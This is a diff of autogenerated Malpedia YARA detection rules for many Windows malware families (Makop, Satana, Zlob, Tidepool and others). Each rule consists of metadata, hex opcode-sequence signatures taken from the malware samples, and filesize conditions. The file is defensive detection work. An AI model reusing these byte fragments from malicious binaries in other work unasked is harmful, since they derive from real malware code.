+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spybot_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "ecd179731e16caedb85d9961e87834bc792941e3499df96bf9bfcadeaf395c81"
+		logic_hash = "f1b579b5b1ee691f466e64e8179031f49e4fd32bcc6dd2bb1d3af2d36456dc74"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163745,32 +170908,32 @@ rule MALPEDIA_Win_Poohmilk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { d3eb 2bf1 8b0c850c344100 014c822c 40 89856cffffff e9???????? }
-		$sequence_1 = { 898560f3ffff c705????????00000000 ffd7 8d8dccf7ffff 51 }
-		$sequence_2 = { 0301 eb02 33c0 8b4d08 85c9 7406 }
-		$sequence_3 = { 898d74d2ffff 898d78d2ffff 3bd9 7417 3bc1 7513 33c0 }
-		$sequence_4 = { 83ffff 0f8410010000 53 8b1d???????? 6a02 }
-		$sequence_5 = { 8bd6 e8???????? 33c9 3b85a4fdffff 5f }
-		$sequence_6 = { 85c0 0f8499000000 68???????? 8d842424020000 50 ffd6 8b4c2410 }
-		$sequence_7 = { 23fb d3eb 0fbe8a10344100 03f9 }
-		$sequence_8 = { 5e c21000 8bff 55 8bec 8b4d0c }
-		$sequence_9 = { 8b4710 8b4e28 53 52 8b5624 }
+		$sequence_0 = { 50 ffb574ffffff ff750c e8???????? 83c428 e9???????? }
+		$sequence_1 = { 50 e8???????? 83c40c 8d4508 be08010000 50 }
+		$sequence_2 = { 8d45ec 50 e8???????? 8d45ec 885dee 50 8d8548ffffff }
+		$sequence_3 = { 80bd48ffffff30 7c09 80bd48ffffff39 7e16 6a03 8d8548ffffff 68???????? }
+		$sequence_4 = { 56 68???????? e8???????? 59 85c0 59 0f85d7000000 }
+		$sequence_5 = { 3b35???????? 0f83c5010000 8bc6 83e61f c1f805 c1e603 8d1c85e07e5100 }
+		$sequence_6 = { 69c034020000 59 389890814400 0f84fb2b0000 395df4 0f84f22b0000 ff7520 }
+		$sequence_7 = { 8d850cfbffff 53 50 68???????? 53 53 ff15???????? }
+		$sequence_8 = { 898510fbffff 8b45fc 898598fbffff 8b45f8 3bf3 89859cfbffff 751c }
+		$sequence_9 = { 750b 57 ff15???????? 8bc6 eb02 }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <2367488
 }
-rule MALPEDIA_Win_Glasses_Auto : FILE
+rule MALPEDIA_Win_Transbox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c6da4c93-ee41-5868-bb14-5b5963376366"
+		id = "6493b67c-879c-5d38-8ca0-5969cb4aa6f0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glasses_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.transbox_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "6195d6cdd9cb4570720f28f4358090026d5f6751f78a62fc950fb9d18ef5a646"
+		logic_hash = "d97e3f1924a5eeca38d9aa110b067c359caad44c72bb11cebc9ddfa66ee7e3d6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163784,32 +170947,32 @@ rule MALPEDIA_Win_Glasses_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8bf0 83c40c 3bf3 0f85e8fdffff 8d4590 50 }
-		$sequence_1 = { e8???????? 8d852cfbffff 50 6a00 6a50 68???????? 8d8de4faffff }
-		$sequence_2 = { e8???????? 83bdd8fdffff00 0f849e000000 8bcb e8???????? 85c0 740d }
-		$sequence_3 = { e9???????? 8d8d38f9ffff e9???????? 8d8dfcf8ffff e9???????? 8d8dacf8ffff e9???????? }
-		$sequence_4 = { 8bf1 8975f0 c706???????? 8d8e84000000 c745fc01000000 c7460800000000 e8???????? }
-		$sequence_5 = { e8???????? 83b94814000002 0f8d54ffffff ff894c140000 8b814c140000 8b91580b0000 899481540b0000 }
-		$sequence_6 = { ff0d???????? 53 8bcf e8???????? c645ff00 5f 5e }
-		$sequence_7 = { ffd2 84c0 0f840b010000 8d4da4 e8???????? 8bf8 8b45cc }
-		$sequence_8 = { eb10 8bce e8???????? 8b5d18 8945e8 895dec 8b7510 }
-		$sequence_9 = { e8???????? 899e7c070000 e9???????? 83f801 7524 6a02 e8???????? }
+		$sequence_0 = { 64a300000000 eb24 8b048d90b60110 41 50 890d???????? ff15???????? }
+		$sequence_1 = { 33c9 83c414 85c0 0f9fc1 8bc1 8b4dfc 33cd }
+		$sequence_2 = { 8d4e04 c706???????? 832100 83610400 51 50 ff15???????? }
+		$sequence_3 = { e9???????? 55 8bec 56 8b7508 57 bf???????? }
+		$sequence_4 = { f7fb 56 8bf0 bbe0077e00 8bc3 2bc6 83f801 }
+		$sequence_5 = { f77dfc 50 51 e8???????? 83c40c 69c708020000 5f }
+		$sequence_6 = { 8bbdbcd3ffff 53 6a01 8d8d28e1ffff 885dfc }
+		$sequence_7 = { 8d85e8fdffff 6808020000 895dfc 53 50 89bddcfdffff 899de4fdffff }
+		$sequence_8 = { 33c9 8985dcfcffff 51 50 }
+		$sequence_9 = { 8d85f8faffff 50 e8???????? 8bd0 8b02 85c0 7402 }
 
 	condition:
-		7 of them and filesize <4177920
+		7 of them and filesize <288768
 }
-rule MALPEDIA_Win_Syscon_Auto : FILE
+rule MALPEDIA_Win_Colibri_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "10b2a70f-de71-5dcd-8008-91d876f6f351"
+		id = "92334149-98b7-5fb0-8e08-056f3f401efb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.syscon_auto.yar#L1-L166"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.colibri_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "f7cdfe4679f457a034e50dc400c88cdf6f80bb02175055d824368da084861b59"
+		logic_hash = "70a6e8c65b49a36e967be3c5e646c3791445447505e2691dc2dc449a828d2e49"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163823,38 +170986,32 @@ rule MALPEDIA_Win_Syscon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e4f8 81ecdc0b0000 a1???????? 33c4 898424d80b0000 53 56 }
-		$sequence_1 = { 0f84af000000 53 57 8bc6 e8???????? 83c408 }
-		$sequence_2 = { 0f84d8000000 6a00 8d4dfc 51 53 }
-		$sequence_3 = { ffd7 8d4c2428 51 8d942414040000 68???????? }
-		$sequence_4 = { 88040f 47 897df8 8b45f4 03c6 }
-		$sequence_5 = { ffd6 68???????? ffd6 5f 5e b801000000 }
-		$sequence_6 = { ffd6 68???????? c745fc00000000 ffd6 }
-		$sequence_7 = { 8935???????? ffd7 8d5e01 85c0 7539 a1???????? }
-		$sequence_8 = { ff15???????? 488905???????? 4885c0 0f84fbf8ffff }
-		$sequence_9 = { 4885c0 7486 488364242000 4c8d8d90030000 448bc3 488bd0 488bcf }
-		$sequence_10 = { 80bd3006000020 418bce 7511 488d8530060000 }
-		$sequence_11 = { 33d2 e8???????? 488d0da4320000 ff15???????? 488d9520040000 488d0d90320000 448bc0 }
-		$sequence_12 = { 488d8d10020000 ff15???????? 488d4d90 448bc3 }
-		$sequence_13 = { 488d5590 488d0daa300000 448bc0 e8???????? }
-		$sequence_14 = { 488d542450 488d0dad290000 448bc0 e8???????? 488b0d???????? }
-		$sequence_15 = { 488d4c2420 4c8bc6 33d2 e8???????? 488d0dc5450000 }
+		$sequence_0 = { 8b4dfc 8d4901 e8???????? 56 56 8bd8 }
+		$sequence_1 = { 0f4575f4 59 e8???????? ba1f90113c 8bc8 e8???????? ffd0 }
+		$sequence_2 = { 83c602 0fb706 8bd0 6685c0 75e2 8933 33c0 }
+		$sequence_3 = { 8bf1 8bfa 897df8 85f6 7502 }
+		$sequence_4 = { 897c2440 57 eba2 8364243c00 eb1b }
+		$sequence_5 = { 8d8578f9ffff 33ff 6804010000 50 57 6a02 59 }
+		$sequence_6 = { 8365f800 50 e8???????? 59 85c0 7413 8b4dfc }
+		$sequence_7 = { 668945a4 6689855effffff 66894d96 59 6a76 58 6a69 }
+		$sequence_8 = { 7445 8b4878 85c9 743e 33ff 39787c 7437 }
+		$sequence_9 = { c1e81f 8d0448 8b0c85c0124000 8d45d4 }
 
 	condition:
-		7 of them and filesize <120832
+		7 of them and filesize <51200
 }
-rule MALPEDIA_Win_Bluelight_Auto : FILE
+rule MALPEDIA_Win_Alphanc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "80cf9226-cefd-5819-9dda-98c83a2352a6"
+		id = "3e24a753-bd90-55fc-a721-b43ae19ca82e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bluelight_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alphanc_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "ac28d46c928f9de871e1c7301334eafe0ce66f50fc56cf0b475e83370bd02ded"
+		logic_hash = "76f5a4c48b7d4b7a92e132b26eac0da2bf874f9a491b16e025e278e5810143fc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163868,32 +171025,32 @@ rule MALPEDIA_Win_Bluelight_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c7466400000000 6a01 8d4510 c645fc03 50 8d45e0 68???????? }
-		$sequence_1 = { e8???????? 85c0 0f85e1040000 8b55c0 8b4638 8d4aff 0fc9 }
-		$sequence_2 = { b97bfe0000 e8???????? 8945f8 8b4dfc e8???????? 83670c00 8b45f8 }
-		$sequence_3 = { 8bce e8???????? 8bd8 895dc4 85db 0f84bf0e0000 8b5348 }
-		$sequence_4 = { 884508 8b4204 8945d8 8b02 8b75d8 3b30 8b75f0 }
-		$sequence_5 = { f3a5 eb23 ff742420 68???????? eb92 8d4101 8bcb }
-		$sequence_6 = { ff248504d44600 6a00 c743140f000000 8bcb c7431000000000 68???????? c60300 }
-		$sequence_7 = { 7414 8bce e8???????? 814b0400000100 894308 8b45fc 8bd0 }
-		$sequence_8 = { e8???????? 8bd0 52 e8???????? 83c404 8b4518 8b4df4 }
-		$sequence_9 = { f7410400000400 7408 8b4114 8b4804 eb03 8b490c 85c9 }
+		$sequence_0 = { c3 8b4c2428 85c9 757d 8b4c242c 85c9 7543 }
+		$sequence_1 = { e8???????? 83c40c 89442410 85c0 0f84f6010000 8b4d14 8b5510 }
+		$sequence_2 = { eb0a 8b4554 c7400c01000000 8b442414 8b4d54 c74538f0000000 894550 }
+		$sequence_3 = { 03c1 8b4c2444 13d7 2bc1 8bce 1bd1 8b4c243c }
+		$sequence_4 = { 8d55f0 6a00 52 6a04 68???????? 57 ff15???????? }
+		$sequence_5 = { 8b4758 8b8840030000 83f90e 7533 c7805403000001000000 8b4f58 39a978010000 }
+		$sequence_6 = { 33c0 56 f3ab 8b4e58 8b442424 89a9ec000000 8b5658 }
+		$sequence_7 = { 8b4c2430 83c420 8d0c49 8d440804 83f808 0f87d7000000 ff248574354600 }
+		$sequence_8 = { 8d4c2424 51 e8???????? 8d542454 52 e8???????? 8d442470 }
+		$sequence_9 = { 8b4804 83f905 8954241c 7529 8b5048 55 52 }
 
 	condition:
-		7 of them and filesize <2191360
+		7 of them and filesize <2015232
 }
-rule MALPEDIA_Win_Flowershop_Auto : FILE
+rule MALPEDIA_Win_Zlob_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8ec68082-5d4c-584e-ad88-66456b2a097b"
+		id = "4fad6172-d1e7-5d84-af68-8861117c390a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flowershop_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zlob_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "f019e2c8acff91329c227db3e65589276d7267039537efb349a1a4ca0b28047b"
+		logic_hash = "31e17a6dc34e33dac3ecb614a6996745d9221261fdc2596cb1f9e420f9dc5bc9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163907,32 +171064,32 @@ rule MALPEDIA_Win_Flowershop_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f857d030000 e9???????? 8325????????00 8b15???????? 85d2 760b 8bca }
-		$sequence_1 = { ff750c ff15???????? 8bf0 d1e6 0fb7c6 50 8d470a }
-		$sequence_2 = { 33f6 85c0 761e bb???????? 53 57 e8???????? }
-		$sequence_3 = { 8b45f0 8b3d???????? 8db008010000 56 6a08 ffd7 50 }
-		$sequence_4 = { 33ff 80240100 217dfc 8d450c 50 8d4508 50 }
-		$sequence_5 = { 85c0 740a 3b4514 7705 6a01 58 eb02 }
-		$sequence_6 = { c3 895104 c3 56 8b742408 57 8b4604 }
-		$sequence_7 = { e8???????? 33c0 eb7b 6a01 5e 837c241005 7c5e }
-		$sequence_8 = { 33c0 5f 2bd1 c7450824000000 3b7d0c 7712 8b5c0afc }
-		$sequence_9 = { 33f6 eb4b 8b7d08 3b7dfc 741c 8d45fc 50 }
+		$sequence_0 = { ffd6 ffd7 68???????? e8???????? c70424???????? 68???????? }
+		$sequence_1 = { 50 ff742434 ff15???????? ff742414 e8???????? ff74242c 8b4c243c }
+		$sequence_2 = { 5d 8bcb 5b 83c404 ff6024 51 51 }
+		$sequence_3 = { 50 e8???????? 8b4508 83c410 83780400 7533 8d85f0eaffff }
+		$sequence_4 = { 58 2bc2 03c8 f644240c02 7504 8d4c7102 8bc1 }
+		$sequence_5 = { 56 8b35???????? 57 8b3d???????? 0f8407020000 837d10ff }
+		$sequence_6 = { ffd7 8b442414 6a01 6a00 6a00 ff30 ff15???????? }
+		$sequence_7 = { ff74242c 8901 50 e8???????? 83c410 ffd3 }
+		$sequence_8 = { ff75e8 8d4dbc e8???????? ff45f8 8b45f8 3b45e4 0f8cedfdffff }
+		$sequence_9 = { 57 8b3d???????? 89442410 8b4508 8b4c2410 }
 
 	condition:
-		7 of them and filesize <829440
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Crypmic_Auto : FILE
+rule MALPEDIA_Win_Makop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "50202601-a687-564d-add6-7e6f376e5e2e"
+		id = "0ddd5ad6-ed99-5e37-bafe-b552882375b1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crypmic_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makop_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "9041d9d560914890b77f3fcac1afa5aa11364ed26eb5680a449dc6f4542c2153"
+		logic_hash = "153590702efa562c07e5adda47cdb1581820d31e1d121adbb82083fd02f6f827"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163946,34 +171103,34 @@ rule MALPEDIA_Win_Crypmic_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 395818 764a 8b7820 03f9 }
-		$sequence_1 = { 2bc1 74ec 46 3b75fc 770b 8b55f8 }
-		$sequence_2 = { 8b4de4 894f04 8b4de8 894f08 668b4df0 66894f0c 668b45f2 }
-		$sequence_3 = { 33d2 8d642400 8d4001 66890c17 }
-		$sequence_4 = { 50 8b4608 6a08 ff7604 ffd0 }
-		$sequence_5 = { 33c0 8bcf 66894302 e8???????? }
-		$sequence_6 = { 43 83c704 3b5818 72bb 5f }
-		$sequence_7 = { 55 8bec 83ec0c 8b413c 53 8b440878 03c1 }
-		$sequence_8 = { 5d c20800 8b55fc 8b4224 8d0458 0fb70c08 8b421c }
-		$sequence_9 = { 8b440878 03c1 8945fc 395818 }
+		$sequence_0 = { 55 8bec 83e4f8 81ec10040000 53 55 56 }
+		$sequence_1 = { 8b84244c010000 8bcb 51 8b8c244c010000 52 50 51 }
+		$sequence_2 = { 117c241c 8bb840080000 017c2420 8bb844080000 117c2424 8b8050080000 3bc3 }
+		$sequence_3 = { 3d11010000 0f8567030000 0fb7442444 0517fcffff 83f806 0f8754030000 ff24859c4f4000 }
+		$sequence_4 = { 53 ff15???????? 85c0 0f84f1000000 6a00 8d442418 }
+		$sequence_5 = { 8d442418 50 51 e8???????? 85c0 0f85cb000000 }
+		$sequence_6 = { bb01000000 395d08 7571 b8???????? 668b08 83c002 6685c9 }
+		$sequence_7 = { 5e 5b 83c41c c3 ff15???????? 50 }
+		$sequence_8 = { 33db 3bf3 740f 56 895e18 895e1c }
+		$sequence_9 = { 895c241c 895c2420 895c2424 745e 90 8b06 }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <107520
 }
-rule MALPEDIA_Win_Satana_Auto : FILE
+rule MALPEDIA_Win_Tidepool_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d19234af-c9bd-5654-81eb-f961478057fe"
+		id = "736615ac-754a-59af-859e-d31c5da8062a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.satana_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tidepool_auto.yar#L1-L265"
 		license_url = "N/A"
-		logic_hash = "bdc48675727bdd579a6ca8ed3a223cef8d8ab6026da5d019b40d5fe8d696eb85"
+		logic_hash = "6d671b94ab0cdccf8b9683ef25d1220e65648f34328ff5e4475983ab8ad7951c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -163985,32 +171142,51 @@ rule MALPEDIA_Win_Satana_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b3d???????? 90 ffd6 68e8030000 ffd7 }
-		$sequence_1 = { ff15???????? 8b459c 50 ff15???????? 8b4ddc 010d???????? }
-		$sequence_2 = { 8d8c2468020000 51 e8???????? 8b442410 8d542418 52 }
-		$sequence_3 = { 8b5108 ffd2 6a00 8b45fc 8b480c ffd1 8be5 }
-		$sequence_4 = { 68???????? e8???????? 83c414 53 6880000000 }
-		$sequence_5 = { 83c002 663bcb 75f1 8d8de89effff 51 e8???????? }
-		$sequence_6 = { 57 50 68???????? e8???????? 83c414 833d????????00 745a }
-		$sequence_7 = { ffd3 8bf8 a1???????? 57 }
-		$sequence_8 = { 105353 bf60600157 ff7528 fc ffd6 0105???????? f8 }
-		$sequence_9 = { ff15???????? e8???????? 837de401 0f8e12030000 8b4704 }
+		$sequence_0 = { 6a00 50 8b08 ff91a4000000 }
+		$sequence_1 = { 8b4df4 64890d00000000 59 5f 5e 5b 8b8d00030000 }
+		$sequence_2 = { 8b8d00030000 33cd e8???????? 81c504030000 }
+		$sequence_3 = { 83c404 8bc6 5e c20400 80790800 }
+		$sequence_4 = { 53 6a02 8bf1 e8???????? }
+		$sequence_5 = { 6800000040 8d4500 50 ff15???????? }
+		$sequence_6 = { 2bc8 83e906 51 83c006 50 }
+		$sequence_7 = { e8???????? 83c40c 803d????????37 7518 68???????? }
+		$sequence_8 = { 8b4654 8d9698000000 52 8d5678 8b08 }
+		$sequence_9 = { 52 50 8b08 ff91f8000000 85c0 }
+		$sequence_10 = { 8b4654 50 8b08 ff5138 }
+		$sequence_11 = { 8d5658 52 50 ff91d0000000 33ff }
+		$sequence_12 = { c3 56 8bf1 e8???????? 8b4654 }
+		$sequence_13 = { 8d45ec 50 681f000200 53 }
+		$sequence_14 = { 6810270000 ff15???????? 8b45ec 8b08 }
+		$sequence_15 = { 681f000200 56 68???????? 6801000080 }
+		$sequence_16 = { 75f9 b8???????? b900000400 c60000 40 49 }
+		$sequence_17 = { e8???????? 68???????? 68???????? 68???????? 8d4500 }
+		$sequence_18 = { 57 50 6802020000 ff15???????? 68???????? ff15???????? }
+		$sequence_19 = { 8bc6 5e 5b c20400 6a14 68???????? }
+		$sequence_20 = { 6805400080 e8???????? 8b542424 52 53 }
+		$sequence_21 = { 33c9 8aea 83c003 83c504 }
+		$sequence_22 = { ff75ec ff15???????? 8b35???????? 6a04 }
+		$sequence_23 = { 83651400 8b07 83c40c 837d0c00 0f8ed1000000 8b4d08 41 }
+		$sequence_24 = { 8bec 8b4508 56 833c850811011000 }
+		$sequence_25 = { 50 ff7508 ff15???????? 395dfc 53 }
+		$sequence_26 = { 50 8d4604 50 e8???????? 8d45e0 6a04 }
+		$sequence_27 = { 50 89450c ff15???????? 53 ff75fc ff75f8 }
+		$sequence_28 = { 8365ec00 8945f4 8d3dd8e30010 8b45f4 d1e0 03f8 }
 
 	condition:
-		7 of them and filesize <221184
+		7 of them and filesize <1998848
 }
-rule MALPEDIA_Win_H1N1_Auto : FILE
+rule MALPEDIA_Win_Sasfis_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5e13a49f-72f0-5eb3-a885-2e0245e8f66e"
+		id = "5e363129-1d9b-5d5a-8006-da18dff7062a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.h1n1_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sasfis_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "842ef63a8a089830b40dfc0f60da9194950df4056683b94edaa8a18caec3ebbd"
+		logic_hash = "7eee2ccd93eb9390961368e951e0384a076b29fc7a953a6afc5b8df0aa798b71"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164024,38 +171200,32 @@ rule MALPEDIA_Win_H1N1_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 49 85c9 0f8527ffffff ff75f8 }
-		$sequence_1 = { 49 75b6 8bcf 2b4d0c 83e103 }
-		$sequence_2 = { 83bdecfeffff01 7505 bb07000000 93 5b c9 c3 }
-		$sequence_3 = { aa ac 0ac0 740e 3c3d 740a e8???????? }
-		$sequence_4 = { 0345f4 8b8ba4000000 85c9 742b }
-		$sequence_5 = { ff7508 6a00 ff35???????? 58 ffd0 }
-		$sequence_6 = { 351f5b5742 ab 05f8383ad2 ab ff75fc }
-		$sequence_7 = { 59 85c0 75d1 83bb8000000000 7465 }
-		$sequence_8 = { 8d8614850010 50 ffb610850010 57 }
-		$sequence_9 = { 59 c3 56 8b742408 6804010000 68f8820010 }
-		$sequence_10 = { 330c85908f0010 42 3b54240c 72e4 f7d1 8bc1 }
-		$sequence_11 = { 57 8d3c95c0850010 8b0f 334f04 23cb }
-		$sequence_12 = { 330d???????? 5b 8bc1 83e001 d1e9 330c8500850010 330d???????? }
-		$sequence_13 = { 57 50 e8???????? 68f4600010 56 }
-		$sequence_14 = { 33d2 a3???????? 42 b9c0850010 8b01 c1e81e 3301 }
-		$sequence_15 = { 6800800010 ff742410 e8???????? 6823af2930 56 ff742410 }
+		$sequence_0 = { 8433 a6 0d60ca8b0c 646b1a5c }
+		$sequence_1 = { d7 4b 7ca9 bc74460651 130d???????? 37 d502 }
+		$sequence_2 = { 157e2808b7 0016 2038 2410 }
+		$sequence_3 = { 60 0c1c 0430 00242c 1838 3c00 3808 }
+		$sequence_4 = { 84df 66ffc5 8b742448 66f7df }
+		$sequence_5 = { f9 f6c77d 660fbae10b 83c504 }
+		$sequence_6 = { 657326 6e 346f 6f 68432b3501 }
+		$sequence_7 = { 6681cf5b01 81ec9c000000 57 60 5f }
+		$sequence_8 = { 2909 26df6883 95 7800 e8???????? 15afb28a60 38342c }
+		$sequence_9 = { 260c16 005220 0410 1400 }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <8060928
 }
-rule MALPEDIA_Win_Wonknu_Auto : FILE
+rule MALPEDIA_Win_Xpan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ddaff543-6be8-5c88-9c2c-3d8f03caff26"
+		id = "7325c725-fe3e-5c78-bad6-69f44695968e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wonknu_auto.yar#L1-L111"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xpan_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "97458316dc025f2ef3806add4e0540e6bc317fe3a272c04393704aa62f6ae30d"
+		logic_hash = "be7f9da8e0e3ad23e9493cdb12bfec902f58437483383423a4e4858dbe439d66"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164069,32 +171239,32 @@ rule MALPEDIA_Win_Wonknu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8bfc b901050000 f3a5 8bcb }
-		$sequence_1 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? }
-		$sequence_2 = { b901050000 f3a5 8bcb e8???????? 803b00 }
-		$sequence_3 = { 6a04 50 ff15???????? 68???????? }
-		$sequence_4 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? 803b00 }
-		$sequence_5 = { e8???????? 8bfc b901050000 f3a5 }
-		$sequence_6 = { eb08 c6840550ffffff00 8d8550ffffff 50 }
-		$sequence_7 = { 53 56 57 6804140000 }
-		$sequence_8 = { c6840550ffffff00 8d8550ffffff 50 e8???????? }
-		$sequence_9 = { 8d7e28 57 ff15???????? 8b4608 }
+		$sequence_0 = { 83c001 c7450cffffffff 894108 8b4108 3b410c 0f83cb050000 0fb600 }
+		$sequence_1 = { 8bb018010000 85f6 0f8557010000 8b01 89cd 83f84d 0f870d1d0000 }
+		$sequence_2 = { 8b5d20 83e001 05ffffff7f 8903 8b451c c70004000000 807dbc00 }
+		$sequence_3 = { 8b442428 895c2404 89442408 ff15???????? 39c3 7247 }
+		$sequence_4 = { ffd5 83ec04 83fe05 75ea 8d7338 c7431cffffffff }
+		$sequence_5 = { 8b55d0 c645c201 0fbed8 0fb65210 e9???????? c645c100 c645c201 }
+		$sequence_6 = { 8b930c010000 88442418 be01000000 c683ff00000000 c7442404ff000000 891c24 89542408 }
+		$sequence_7 = { 0fb644242c 89442404 89f0 83c002 890424 e8???????? e9???????? }
+		$sequence_8 = { e9???????? 8d489f 80f905 0f874b0e0000 83e857 e9???????? 8b931c010000 }
+		$sequence_9 = { 31c0 e9???????? 8b44241c 897c243c 89442438 8d442438 898310010000 }
 
 	condition:
-		7 of them and filesize <540672
+		7 of them and filesize <3235840
 }
-rule MALPEDIA_Win_Unidentified_003_Auto : FILE
+rule MALPEDIA_Win_Unidentified_080_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
